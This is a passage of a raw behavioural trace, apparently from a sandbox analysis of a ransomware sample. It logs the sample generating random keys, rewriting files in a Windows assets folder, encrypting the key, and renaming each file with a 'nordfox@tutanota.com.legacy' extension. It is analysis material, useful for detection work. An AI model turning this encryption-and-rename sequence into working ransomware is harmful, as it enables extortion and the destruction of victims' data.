"c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\b71dabef83821ac1436c6e54eed36510be63ff7e106437b4f3d5fa2b5880d0ea"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\b71dabef83821ac1436c6e54eed36510be63ff7e106437b4f3d5fa2b5880d0ea.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\b71dabef83821ac1436c6e54eed36510be63ff7e106437b4f3d5fa2b5880d0ea.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0170.303] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b4b00 | out: hHeap=0x520000) returned 1 [0170.303] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f73b28 | out: hHeap=0x520000) returned 1 [0170.303] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f73858 | out: hHeap=0x520000) returned 1 [0170.303] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x2f73858 [0170.303] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4218 [0170.303] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0170.303] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0170.303] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0170.303] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\b5a5b14e0a3c79aaf51623da36a14aec38408c6de44296721210be0ef9dae307", dwFileAttributes=0x80) returned 1 [0170.304] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x2f739c0 [0170.304] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b48d8 [0170.304] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f739c0 | out: hHeap=0x520000) returned 1 [0170.304] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\b5a5b14e0a3c79aaf51623da36a14aec38408c6de44296721210be0ef9dae307" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\b5a5b14e0a3c79aaf51623da36a14aec38408c6de44296721210be0ef9dae307"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0170.304] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=874103) returned 1 [0170.304] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd5677) returned 0x6f1020 [0170.306] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd5677) returned 0x352a020 [0170.308] ReadFile (in: hFile=0x1830, lpBuffer=0x6f1020, nNumberOfBytesToRead=0xd5677, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x6f1020*, lpNumberOfBytesRead=0x2e1f9bc*=0xd5677, lpOverlapped=0x0) returned 1 [0170.350] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-874103, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.350] WriteFile (in: hFile=0x1830, lpBuffer=0x352a020*, nNumberOfBytesToWrite=0xd5677, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x352a020*, lpNumberOfBytesWritten=0x2e1f9bc*=0xd5677, lpOverlapped=0x0) returned 1 [0170.352] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6f1020 | out: hHeap=0x520000) returned 1 [0170.357] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x352a020 | out: hHeap=0x520000) returned 1 [0170.361] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xd5677 [0170.361] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0170.361] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0170.361] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0170.361] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0170.361] CloseHandle (hObject=0x1830) returned 1 [0170.361] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0170.361] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0170.361] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\b5a5b14e0a3c79aaf51623da36a14aec38408c6de44296721210be0ef9dae307" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\b5a5b14e0a3c79aaf51623da36a14aec38408c6de44296721210be0ef9dae307"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\b5a5b14e0a3c79aaf51623da36a14aec38408c6de44296721210be0ef9dae307.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\b5a5b14e0a3c79aaf51623da36a14aec38408c6de44296721210be0ef9dae307.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0170.363] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b48d8 | out: hHeap=0x520000) returned 1 [0170.363] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f73858 | out: hHeap=0x520000) returned 1 [0170.363] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f73588 | out: hHeap=0x520000) returned 1 [0170.363] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x2f73b28 [0170.363] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4218 [0170.363] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3458 [0170.363] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0170.363] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0170.363] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\ad274ee5567858fcf370f2c48bca96aeac2e16997b5f0336f992bcaf89460bc9", dwFileAttributes=0x80) returned 1 [0170.364] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x2f74500 [0170.364] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b46b0 [0170.364] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f74500 | out: hHeap=0x520000) returned 1 [0170.364] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\ad274ee5567858fcf370f2c48bca96aeac2e16997b5f0336f992bcaf89460bc9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\ad274ee5567858fcf370f2c48bca96aeac2e16997b5f0336f992bcaf89460bc9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0170.364] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=17778) returned 1 [0170.364] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4572) returned 0x30d1028 [0170.364] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4572) returned 0x30d55a8 [0170.364] ReadFile (in: hFile=0x1830, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x4572, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x4572, lpOverlapped=0x0) returned 1 [0170.378] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-17778, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.378] WriteFile (in: hFile=0x1830, lpBuffer=0x30d55a8*, nNumberOfBytesToWrite=0x4572, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d55a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4572, lpOverlapped=0x0) returned 1 [0170.378] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d1028 | out: hHeap=0x520000) returned 1 [0170.378] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d55a8 | out: hHeap=0x520000) returned 1 [0170.378] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4572 [0170.379] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0170.379] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0170.379] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0170.379] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0170.379] CloseHandle (hObject=0x1830) returned 1 [0170.379] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0170.379] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3458 | out: hHeap=0x520000) returned 1 [0170.380] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\ad274ee5567858fcf370f2c48bca96aeac2e16997b5f0336f992bcaf89460bc9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\ad274ee5567858fcf370f2c48bca96aeac2e16997b5f0336f992bcaf89460bc9"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\ad274ee5567858fcf370f2c48bca96aeac2e16997b5f0336f992bcaf89460bc9.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\ad274ee5567858fcf370f2c48bca96aeac2e16997b5f0336f992bcaf89460bc9.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0170.382] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b46b0 | out: hHeap=0x520000) returned 1 [0170.382] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f73b28 | out: hHeap=0x520000) returned 1 [0170.382] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f740c8 | out: hHeap=0x520000) returned 1 [0170.382] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x2f74668 [0170.383] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4218 [0170.383] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0170.383] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0170.383] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0170.383] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\a8448e98bb861babe873fcab168979069cb83b78e54f7545c5a24ad4e03bec0d", dwFileAttributes=0x80) returned 1 [0170.383] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x2f73df8 [0170.383] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b4d28 [0170.383] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f73df8 | out: hHeap=0x520000) returned 1 [0170.383] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\a8448e98bb861babe873fcab168979069cb83b78e54f7545c5a24ad4e03bec0d" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\a8448e98bb861babe873fcab168979069cb83b78e54f7545c5a24ad4e03bec0d"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0170.384] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=17471) returned 1 [0170.384] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x443f) returned 0x30d1028 [0170.384] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x443f) returned 0x30d5470 [0170.384] ReadFile (in: hFile=0x1830, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x443f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x443f, lpOverlapped=0x0) returned 1 [0170.386] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-17471, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.386] WriteFile (in: hFile=0x1830, lpBuffer=0x30d5470*, nNumberOfBytesToWrite=0x443f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5470*, lpNumberOfBytesWritten=0x2e1f9bc*=0x443f, lpOverlapped=0x0) returned 1 [0170.387] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d1028 | out: hHeap=0x520000) returned 1 [0170.387] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d5470 | out: hHeap=0x520000) returned 1 [0170.387] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x443f [0170.387] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0170.387] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0170.387] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0170.387] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0170.387] CloseHandle (hObject=0x1830) returned 1 [0170.387] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0170.388] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0170.388] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\a8448e98bb861babe873fcab168979069cb83b78e54f7545c5a24ad4e03bec0d" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\a8448e98bb861babe873fcab168979069cb83b78e54f7545c5a24ad4e03bec0d"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\a8448e98bb861babe873fcab168979069cb83b78e54f7545c5a24ad4e03bec0d.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\a8448e98bb861babe873fcab168979069cb83b78e54f7545c5a24ad4e03bec0d.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0170.389] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b4d28 | out: hHeap=0x520000) returned 1 [0170.389] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f74668 | out: hHeap=0x520000) returned 1 [0170.389] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f736f0 | out: hHeap=0x520000) returned 1 [0170.389] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x2f73b28 [0170.389] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c53a0 [0170.389] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0170.389] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0170.389] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0170.389] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\a5fffa1b9fd3661604defda3ba39b64783eb8dbca44f07565e247c0e9a95eb69", dwFileAttributes=0x80) returned 1 [0170.390] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x2f73588 [0170.390] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b57f0 [0170.390] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f73588 | out: hHeap=0x520000) returned 1 [0170.390] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\a5fffa1b9fd3661604defda3ba39b64783eb8dbca44f07565e247c0e9a95eb69" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\a5fffa1b9fd3661604defda3ba39b64783eb8dbca44f07565e247c0e9a95eb69"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0170.390] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=16790) returned 1 [0170.390] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4196) returned 0x30d1028 [0170.390] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4196) returned 0x30d51c8 [0170.390] ReadFile (in: hFile=0x1830, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x4196, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x4196, lpOverlapped=0x0) returned 1 [0170.401] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-16790, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.401] WriteFile (in: hFile=0x1830, lpBuffer=0x30d51c8*, nNumberOfBytesToWrite=0x4196, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d51c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4196, lpOverlapped=0x0) returned 1 [0170.401] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d1028 | out: hHeap=0x520000) returned 1 [0170.401] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d51c8 | out: hHeap=0x520000) returned 1 [0170.401] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4196 [0170.401] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0170.401] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0170.402] WriteFile (in: hFile=0x1830, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0170.402] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0170.402] CloseHandle (hObject=0x1830) returned 1 [0170.402] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c53a0 | out: hHeap=0x520000) returned 1 [0170.402] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0170.402] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\a5fffa1b9fd3661604defda3ba39b64783eb8dbca44f07565e247c0e9a95eb69" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\a5fffa1b9fd3661604defda3ba39b64783eb8dbca44f07565e247c0e9a95eb69"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\a5fffa1b9fd3661604defda3ba39b64783eb8dbca44f07565e247c0e9a95eb69.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\a5fffa1b9fd3661604defda3ba39b64783eb8dbca44f07565e247c0e9a95eb69.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0170.429] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b57f0 | out: hHeap=0x520000) returned 1 [0170.429] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f73b28 | out: hHeap=0x520000) returned 1 [0170.429] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f73150 | out: hHeap=0x520000) returned 1 [0170.429] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x2f73c90 [0170.429] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4218 [0170.429] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0170.429] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0170.429] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0170.429] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\a4176788f1d009a455bc658550df1111033e891bcb525afa5e9c6a24275482f9", dwFileAttributes=0x80) returned 1 [0170.460] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x2f73858 [0170.460] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b4b00 [0170.461] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f73858 | out: hHeap=0x520000) returned 1 [0170.461] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\a4176788f1d009a455bc658550df1111033e891bcb525afa5e9c6a24275482f9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\a4176788f1d009a455bc658550df1111033e891bcb525afa5e9c6a24275482f9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0170.461] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=17453) returned 1 [0170.461] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x442d) returned 0x30d1028 [0170.461] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x442d) returned 0x30d5460 [0170.461] ReadFile (in: hFile=0x1830, 